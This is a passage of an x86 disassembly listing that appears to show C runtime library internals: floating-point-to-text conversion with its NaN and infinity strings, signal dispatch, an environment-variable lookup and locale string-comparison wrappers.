[ebp+var_8] cmp [ebp+var_20], ecx jnz short loc_41EF1C add eax, [ebp+arg_10] loc_41EF1C: ; CODE XREF: sub_41EB33+3E4j cmp [ebp+var_24], ecx jnz short loc_41EF24 sub eax, [ebp+arg_14] loc_41EF24: ; CODE XREF: sub_41EB33+3ECj cmp eax, 1450h jle short loc_41EF5B mov [ebp+var_2C], 1 loc_41EF32: ; CODE XREF: sub_41EB33+436j mov ebx, [ebp+arg_8] mov esi, [ebp+arg_8] mov eax, [ebp+arg_8] mov edx, [ebp+arg_8] loc_41EF3E: ; CODE XREF: sub_41EB33+454j ; sub_41EB33+45Ej cmp [ebp+var_2C], 0 jz short loc_41EFA4 xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_14], 2 jmp short loc_41EFB9 ; --------------------------------------------------------------------------- loc_41EF5B: ; CODE XREF: sub_41EB33+3F6j cmp eax, 0FFFFEBB0h jge short loc_41EF6B mov [ebp+var_30], 1 jmp short loc_41EF32 ; --------------------------------------------------------------------------- loc_41EF6B: ; CODE XREF: sub_41EB33+42Dj push [ebp+arg_C] push eax lea eax, [ebp+var_40] push eax call sub_41F71C mov edx, [ebp+var_40] mov ebx, [ebp+var_40+2] mov esi, [ebp+var_3A] mov eax, [ebp+var_36] add esp, 0Ch jmp short loc_41EF3E ; --------------------------------------------------------------------------- loc_41EF89: ; CODE XREF: sub_41EB33+3ABj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx jmp short loc_41EF3E ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EB33+381j xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 4 jmp short loc_41EFB9 ; --------------------------------------------------------------------------- loc_41EFA4: ; CODE XREF: sub_41EB33+40Fj cmp [ebp+var_30], 0 jz short loc_41EFB9 xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx mov [ebp+var_14], 1 loc_41EFB9: ; CODE XREF: sub_41EB33+426j ; sub_41EB33+46Fj ... mov ecx, [ebp+arg_0] or eax, [ebp+var_28] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_14] pop esi mov [ecx], dx pop ebx leave retn sub_41EB33 endp ; --------------------------------------------------------------------------- off_41EFD4 dd offset loc_41EB9D ; DATA XREF: sub_41EB33+63r dd offset loc_41EBEC ; jump table for switch statement dd offset loc_41EC43 dd offset loc_41EC6D dd offset loc_41ECC8 dd offset loc_41ED3F dd offset loc_41ED75 dd offset loc_41EDBF dd offset loc_41ED9E dd offset loc_41EE23 dd offset loc_41EE0D dd offset loc_41EDD9 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F004 proc near ; CODE XREF: sub_41DDDF+2Cp var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_4], 1 mov edx, eax jz short loc_41F066 mov byte ptr [ebx+2], 2Dh jmp short loc_41F06A ; --------------------------------------------------------------------------- loc_41F066: ; CODE XREF: sub_41F004+5Aj mov byte ptr [ebx+2], 20h loc_41F06A: ; CODE XREF: sub_41F004+60j mov edi, [ebp+arg_4] test dx, dx jnz short loc_41F090 test edi, edi jnz short loc_41F090 cmp [ebp+arg_0], edi jnz short loc_41F090 loc_41F07B: ; CODE XREF: sub_41F004+181j and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+4], 30h jmp loc_41F28E ; --------------------------------------------------------------------------- loc_41F090: ; CODE XREF: sub_41F004+6Cj ; sub_41F004+70j ... cmp dx, si jnz short loc_41F10F mov eax, 80000000h mov word ptr [ebx], 1 cmp edi, eax jnz short loc_41F0A9 cmp [ebp+arg_0], 0 jz short loc_41F0B8 loc_41F0A9: ; CODE XREF: sub_41F004+9Dj test edi, 40000000h jnz short loc_41F0B8 push offset a1Snan ; "1#SNAN" jmp short loc_41F0FE ; --------------------------------------------------------------------------- loc_41F0B8: ; CODE XREF: sub_41F004+A3j ; sub_41F004+ABj test cx, cx jz short loc_41F0D2 cmp edi, 0C0000000h jnz short loc_41F0D2 cmp [ebp+arg_0], 0 jnz short loc_41F0F9 push offset a1Ind ; "1#IND" jmp short loc_41F0E1 ; --------------------------------------------------------------------------- loc_41F0D2: ; CODE XREF: sub_41F004+B7j ; sub_41F004+BFj cmp edi, eax jnz short loc_41F0F9 cmp [ebp+arg_0], 0 jnz short loc_41F0F9 push offset a1Inf ; "1#INF" loc_41F0E1: ; CODE XREF: sub_41F004+CCj lea eax, [ebx+4] push eax call sub_415C00 pop ecx mov byte ptr [ebx+3], 5 pop ecx loc_41F0F0: ; CODE XREF: sub_41F004+109j and [ebp+var_4], 0 jmp loc_41F267 ; --------------------------------------------------------------------------- loc_41F0F9: ; CODE XREF: sub_41F004+C5j ; sub_41F004+D0j ... push offset a1Qnan ; "1#QNAN" loc_41F0FE: ; CODE XREF: sub_41F004+B2j lea eax, [ebx+4] push eax call sub_415C00 pop ecx mov byte ptr [ebx+3], 6 pop ecx jmp short loc_41F0F0 ; --------------------------------------------------------------------------- loc_41F10F: ; CODE XREF: sub_41F004+8Fj movzx eax, dx mov ecx, edi mov esi, eax shr ecx, 18h imul eax, 4D10h shr esi, 8 and [ebp+var_10], 0 push 1 lea ecx, [esi+ecx*2] mov [ebp+var_6], dx imul ecx, 4Dh mov [ebp+var_A], edi lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] sar esi, 10h mov [ebp+var_E], eax movsx eax, si neg eax push eax lea eax, [ebp+var_10] push eax call sub_41F71C add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_41F170 lea eax, [ebp+var_1C] inc esi push eax lea eax, [ebp+var_10] push eax call sub_41F4FC pop ecx pop ecx loc_41F170: ; CODE XREF: sub_41F004+15Aj test [ebp+arg_10], 1 mov [ebx], si jz short loc_41F18A mov edi, [ebp+arg_C] movsx eax, si add edi, eax test edi, edi jg short loc_41F18D jmp loc_41F07B ; --------------------------------------------------------------------------- loc_41F18A: ; CODE XREF: sub_41F004+173j mov edi, [ebp+arg_C] loc_41F18D: ; CODE XREF: sub_41F004+17Fj cmp edi, 15h jle short loc_41F195 push 15h pop edi loc_41F195: ; CODE XREF: sub_41F004+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_41F1AB: ; CODE XREF: sub_41F004+1B4j lea eax, [ebp+var_10] push eax call sub_41EA11 dec [ebp+arg_14] pop ecx jnz short loc_41F1AB test esi, esi jge short loc_41F1D5 neg esi and esi, 0FFh jle short loc_41F1D5 loc_41F1C8: ; CODE XREF: sub_41F004+1CFj lea eax, [ebp+var_10] push eax call sub_41EA3F dec esi pop ecx jnz short loc_41F1C8 loc_41F1D5: ; CODE XREF: sub_41F004+1B8j ; sub_41F004+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_41F232 mov [ebp+arg_C], ecx loc_41F1E5: ; CODE XREF: sub_41F004+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_41EA11 lea eax, [ebp+var_10] push eax call sub_41EA11 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_41E9B3 lea eax, [ebp+var_10] push eax call sub_41EA11 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_41F1E5 mov eax, [ebp+arg_14] loc_41F232: ; CODE XREF: sub_41F004+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_41F26F loc_41F23F: ; CODE XREF: sub_41F004+248j cmp eax, ecx jb short loc_41F252 cmp byte ptr [eax], 39h jnz short loc_41F24E mov byte ptr [eax], 30h dec eax jmp short loc_41F23F ; --------------------------------------------------------------------------- loc_41F24E: ; CODE XREF: sub_41F004+242j cmp eax, ecx jnb short loc_41F256 loc_41F252: ; CODE XREF: sub_41F004+23Dj inc eax inc word ptr [ebx] loc_41F256: ; CODE XREF: sub_41F004+24Cj inc byte ptr [eax] loc_41F258: ; CODE XREF: sub_41F004+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_41F267: ; CODE XREF: sub_41F004+F0j mov eax, [ebp+var_4] loc_41F26A: ; CODE XREF: sub_41F004+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41F26F: ; CODE XREF: sub_41F004+239j ; sub_41F004+275j cmp eax, ecx jb short loc_41F27F cmp byte ptr [eax], 30h jnz short loc_41F27B dec eax jmp short loc_41F26F ; --------------------------------------------------------------------------- loc_41F27B: ; CODE XREF: sub_41F004+272j cmp eax, ecx jnb short loc_41F258 loc_41F27F: ; CODE XREF: sub_41F004+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_41F28E: ; CODE XREF: sub_41F004+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_41F26A sub_41F004 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F297 proc near ; CODE XREF: sub_41AB9C+3423p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_41F2FE dec eax dec eax jz short loc_41F2EF sub eax, 4 jz short loc_41F2EF sub eax, 3 jz short loc_41F2EF sub eax, 4 jz short loc_41F2E2 sub eax, 6 jz short loc_41F2D5 dec eax jz short loc_41F2C8 or eax, 0FFFFFFFFh jmp loc_41F3C0 ; --------------------------------------------------------------------------- loc_41F2C8: ; CODE XREF: sub_41F297+27j mov esi, dword_46978C mov eax, offset dword_46978C jmp short loc_41F309 ; --------------------------------------------------------------------------- loc_41F2D5: ; CODE XREF: sub_41F297+24j mov esi, dword_469788 mov eax, offset dword_469788 jmp short loc_41F309 ; --------------------------------------------------------------------------- loc_41F2E2: ; CODE XREF: sub_41F297+1Fj mov esi, dword_469790 mov eax, offset dword_469790 jmp short loc_41F309 ; --------------------------------------------------------------------------- loc_41F2EF: ; CODE XREF: sub_41F297+10j ; sub_41F297+15j ... push edi call sub_41F3C4 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_41F309 ; --------------------------------------------------------------------------- loc_41F2FE: ; CODE XREF: sub_41F297+Cj mov esi, dword_469784 mov eax, offset dword_469784 loc_41F309: ; CODE XREF: sub_41F297+3Cj ; sub_41F297+49j ... cmp esi, 1 jnz short loc_41F315 xor eax, eax jmp loc_41F3C0 ; --------------------------------------------------------------------------- loc_41F315: ; CODE XREF: sub_41F297+75j test esi, esi jnz short loc_41F320 push 3 call sub_417838 loc_41F320: ; CODE XREF: sub_41F297+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_41F332 cmp edi, 0Bh jz short loc_41F332 cmp edi, 4 jnz short loc_41F358 loc_41F332: ; CODE XREF: sub_41F297+8Fj ; sub_41F297+94j mov ebx, dword_469564 and dword_469564, 0 cmp edi, ecx jnz short loc_41F387 mov edx, dword_4383EC mov dword_4383EC, 8Ch mov [ebp+arg_0], edx jmp short loc_41F35B ; --------------------------------------------------------------------------- loc_41F358: ; CODE XREF: sub_41F297+99j mov ebx, [ebp+arg_0] loc_41F35B: ; CODE XREF: sub_41F297+BFj cmp edi, ecx jnz short loc_41F387 mov eax, dword_4383E0 mov ecx, dword_4383E4 add ecx, eax cmp eax, ecx jge short loc_41F38E lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:438370h[edx*4] loc_41F37C: ; CODE XREF: sub_41F297+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_41F37C jmp short loc_41F38E ; --------------------------------------------------------------------------- loc_41F387: ; CODE XREF: sub_41F297+AAj ; sub_41F297+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_41F39C loc_41F38E: ; CODE XREF: sub_41F297+D7j ; sub_41F297+EEj push dword_4383EC push 8 call esi pop ecx pop ecx jmp short loc_41F3AA ; --------------------------------------------------------------------------- loc_41F39C: ; CODE XREF: sub_41F297+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_41F3AA cmp edi, 4 jnz short loc_41F3BD loc_41F3AA: ; CODE XREF: sub_41F297+103j ; sub_41F297+10Cj cmp edi, 8 mov dword_469564, ebx jnz short loc_41F3BD mov eax, [ebp+arg_0] mov dword_4383EC, eax loc_41F3BD: ; CODE XREF: sub_41F297+111j ; sub_41F297+11Cj xor eax, eax pop ebx loc_41F3C0: ; CODE XREF: sub_41F297+2Cj ; sub_41F297+79j pop edi pop esi pop ebp retn sub_41F297 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41F3C4 proc near ; CODE XREF: sub_41F297+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_4383E8 cmp dword_43836C, edx push esi mov eax, offset dword_438368 jz short loc_41F3F2 lea esi, [ecx+ecx*2] lea esi, ds:438368h[esi*4] loc_41F3E6: ; CODE XREF: sub_41F3C4+2Cj add eax, 0Ch cmp eax, esi jnb short loc_41F3F2 cmp [eax+4], edx jnz short loc_41F3E6 loc_41F3F2: ; CODE XREF: sub_41F3C4+16j ; sub_41F3C4+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:438368h[ecx*4] cmp eax, ecx jnb short loc_41F406 cmp [eax+4], edx jz short locret_41F408 loc_41F406: ; CODE XREF: sub_41F3C4+3Bj xor eax, eax locret_41F408: ; CODE XREF: sub_41F3C4+40j retn sub_41F3C4 endp ; =============== S U B R O U T I N E ======================================= sub_41F409 proc near ; CODE XREF: sub_41E162+23p arg_0 = dword ptr 4 cmp dword_46AB28, 0 push ebx push esi mov esi, dword_4694DC push edi jz short loc_41F480 test esi, esi jnz short loc_41F43A cmp dword_4694E4, esi jz short loc_41F480 call sub_41F7D7 test eax, eax jnz short loc_41F480 mov esi, dword_4694DC test esi, esi jz short loc_41F480 loc_41F43A: ; CODE XREF: sub_41F409+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_41F480 push ebx call sub_415CF0 pop ecx mov edi, eax loc_41F44B: ; CODE XREF: sub_41F409+6Dj mov eax, [esi] test eax, eax jz short loc_41F480 push eax call sub_415CF0 cmp eax, edi pop ecx jbe short loc_41F473 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_41F473 push edi push ebx push eax call sub_41F798 add esp, 0Ch test eax, eax jz short loc_41F478 loc_41F473: ; CODE XREF: sub_41F409+51j ; sub_41F409+59j add esi, 4 jmp short loc_41F44B ; --------------------------------------------------------------------------- loc_41F478: ; CODE XREF: sub_41F409+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_41F482 ; --------------------------------------------------------------------------- loc_41F480: ; CODE XREF: sub_41F409+10j ; sub_41F409+1Cj ... xor eax, eax loc_41F482: ; CODE XREF: sub_41F409+75j pop edi pop esi pop ebx retn sub_41F409 endp ; =============== S U B R O U T I N E ======================================= sub_41F486 proc near ; CODE XREF: sub_41E84C+8Bp ; sub_41E84C+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_46A8E0 jnb short loc_41F4ED mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_46A7E0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_41F4ED mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_41F4C6 and cl, 7Fh jmp short loc_41F4D3 ; --------------------------------------------------------------------------- loc_41F4C6: ; CODE XREF: sub_41F486+39j cmp [esp+4+arg_4], 4000h jnz short loc_41F4E1 or cl, 80h loc_41F4D3: ; CODE XREF: sub_41F486+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_41F4E1: ; CODE XREF: sub_41F486+48j mov dword_4694B4, 16h jmp short loc_41F4F7 ; --------------------------------------------------------------------------- loc_41F4ED: ; CODE XREF: sub_41F486+Bj ; sub_41F486+27j mov dword_4694B4, 9 loc_41F4F7: ; CODE XREF: sub_41F486+65j or eax, 0FFFFFFFFh pop esi retn sub_41F486 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4FC proc near ; CODE XREF: sub_41F004+165p ; sub_41F71C+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_41F6FC cmp cx, 7FFFh jnb loc_41F6FC cmp dx, 0BFFDh ja loc_41F6FC cmp dx, 3FBFh ja short loc_41F565 xor eax, eax jmp short loc_41F59F ; --------------------------------------------------------------------------- loc_41F565: ; CODE XREF: sub_41F4FC+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_41F587 inc [ebp+arg_0] test [esi+8], edx jnz short loc_41F587 xor eax, eax cmp [esi+4], eax jnz short loc_41F589 cmp [esi], eax jnz short loc_41F589 jmp loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F587: ; CODE XREF: sub_41F4FC+71j ; sub_41F4FC+79j xor eax, eax loc_41F589: ; CODE XREF: sub_41F4FC+80j ; sub_41F4FC+84j cmp cx, ax jnz short loc_41F5AC inc [ebp+arg_0] test [ebx+8], edx jnz short loc_41F5AC cmp [ebx+4], eax jnz short loc_41F5AC cmp [ebx], eax jnz short loc_41F5AC loc_41F59F: ; CODE XREF: sub_41F4FC+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_41F717 ; --------------------------------------------------------------------------- loc_41F5AC: ; CODE XREF: sub_41F4FC+90j ; sub_41F4FC+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_41F5BC: ; CODE XREF: sub_41F4FC+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_41F610 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_41F5D8: ; CODE XREF: sub_41F4FC+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_41E992 add esp, 0Ch test eax, eax jz short loc_41F603 mov eax, [ebp+var_4] inc word ptr [eax] loc_41F603: ; CODE XREF: sub_41F4FC+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_41F5D8 loc_41F610: ; CODE XREF: sub_41F4FC+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_41F5BC add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_41F653 loc_41F62E: ; CODE XREF: sub_41F4FC+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_41F64C lea eax, [ebp+var_24] push eax call sub_41EA11 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_41F62E loc_41F64C: ; CODE XREF: sub_41F4FC+136j cmp word ptr [ebp+arg_0], 0 jg short loc_41F68C loc_41F653: ; CODE XREF: sub_41F4FC+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_41F68C movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_41F66C: ; CODE XREF: sub_41F4FC+184j test byte ptr [ebp+var_24], 1 jz short loc_41F675 inc [ebp+var_14] loc_41F675: ; CODE XREF: sub_41F4FC+174j lea eax, [ebp+var_24] push eax call sub_41EA3F dec ebx pop ecx jnz short loc_41F66C cmp [ebp+var_14], 0 jz short loc_41F68C or byte ptr [ebp+var_24], 1 loc_41F68C: ; CODE XREF: sub_41F4FC+155j ; sub_41F4FC+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_41F6A3 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_41F6D8 loc_41F6A3: ; CODE XREF: sub_41F4FC+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_41F6D5 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_41F6D0 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_41F6CA inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_41F6D8 ; --------------------------------------------------------------------------- loc_41F6CA: ; CODE XREF: sub_41F4FC+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_41F6D8 ; --------------------------------------------------------------------------- loc_41F6D0: ; CODE XREF: sub_41F4FC+1B5j inc [ebp+var_20+2] jmp short loc_41F6D8 ; --------------------------------------------------------------------------- loc_41F6D5: ; CODE XREF: sub_41F4FC+1ABj inc [ebp+var_24+2] loc_41F6D8: ; CODE XREF: sub_41F4FC+1A5j ; sub_41F4FC+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_41F6FC mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_41F6F6: ; CODE XREF: sub_41F4FC+86j mov [esi+0Ah], ax jmp short loc_41F717 ; --------------------------------------------------------------------------- loc_41F6FC: ; CODE XREF: sub_41F4FC+42j ; sub_41F4FC+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_41F717: ; CODE XREF: sub_41F4FC+ABj ; sub_41F4FC+1FEj pop edi pop esi pop ebx leave retn sub_41F4FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F71C proc near ; CODE XREF: sub_41EB33+440p ; sub_41F004+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_438860 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_41F795 jge short loc_41F744 mov eax, [ebp+arg_4] mov ebx, offset dword_4389C0 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_41F744: ; CODE XREF: sub_41F71C+16j cmp [ebp+arg_8], ecx jnz short loc_41F74F mov eax, [ebp+arg_0] mov [eax], cx loc_41F74F: ; CODE XREF: sub_41F71C+2Bj cmp [ebp+arg_4], ecx jz short loc_41F795 push esi push edi loc_41F756: ; CODE XREF: sub_41F71C+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_41F78E lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_41F781 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_41F781: ; CODE XREF: sub_41F71C+57j push esi push [ebp+arg_0] call sub_41F4FC pop ecx pop ecx xor ecx, ecx loc_41F78E: ; CODE XREF: sub_41F71C+49j cmp [ebp+arg_4], ecx jnz short loc_41F756 pop edi pop esi loc_41F795: ; CODE XREF: sub_41F71C+14j ; sub_41F71C+36j pop ebx leave retn sub_41F71C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F798 proc near ; CODE XREF: sub_41F409+5Ep ; sub_41FC49+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_41F7A5 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41F7A5: ; CODE XREF: sub_41F798+7j push dword_46A8E4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_46AB04 call sub_41F845 add esp, 1Ch test eax, eax jnz short loc_41F7D2 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F798+31j add eax, 0FFFFFFFEh pop ebp retn sub_41F798 endp ; =============== S U B R O U T I N E ======================================= sub_41F7D7 proc near ; CODE XREF: sub_41F409+1Ep ; sub_41FAC2+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4694E4 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_41F838 mov ebx, dword_421138 loc_41F7F0: ; CODE XREF: sub_41F7D7+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_41F840 push ebp call sub_415DC9 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_41F840 push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_41F840 push edi push [esp+18h+var_4] call sub_41FAC2 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_41F7F0 loc_41F838: ; CODE XREF: sub_41F7D7+11j xor eax, eax loc_41F83A: ; CODE XREF: sub_41F7D7+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_41F840: ; CODE XREF: sub_41F7D7+29j ; sub_41F7D7+38j ... or eax, 0FFFFFFFFh jmp short loc_41F83A sub_41F7D7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F845 proc near ; CODE XREF: sub_41F798+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421C20 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_469798, ebx push 1 pop edi jnz short loc_41F8B8 push edi mov eax, offset dword_421870 push eax push edi push eax push ebx push ebx call dword_421008 test eax, eax jz short loc_41F895 mov dword_469798, edi jmp short loc_41F8B8 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F845+46j push edi mov eax, offset dword_438FF4 push eax push edi push eax push ebx push ebx call dword_42100C test eax, eax jz loc_41FAAE mov dword_469798, 2 loc_41F8B8: ; CODE XREF: sub_41F845+31j ; sub_41F845+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_41F8CF push esi push [ebp+arg_8] call sub_41BF95 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_41F8CF: ; CODE XREF: sub_41F845+78j cmp [ebp+arg_14], ebx jle short loc_41F8E4 push [ebp+arg_14] push [ebp+arg_10] call sub_41BF95 pop ecx pop ecx mov [ebp+arg_14], eax loc_41F8E4: ; CODE XREF: sub_41F845+8Dj mov eax, dword_469798 cmp eax, 2 jnz short loc_41F909 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_42100C jmp loc_41FAB0 ; --------------------------------------------------------------------------- loc_41F909: ; CODE XREF: sub_41F845+A7j cmp eax, edi jnz loc_41FAAE cmp [ebp+arg_18], ebx jnz short loc_41F91E mov eax, dword_469558 mov [ebp+arg_18], eax 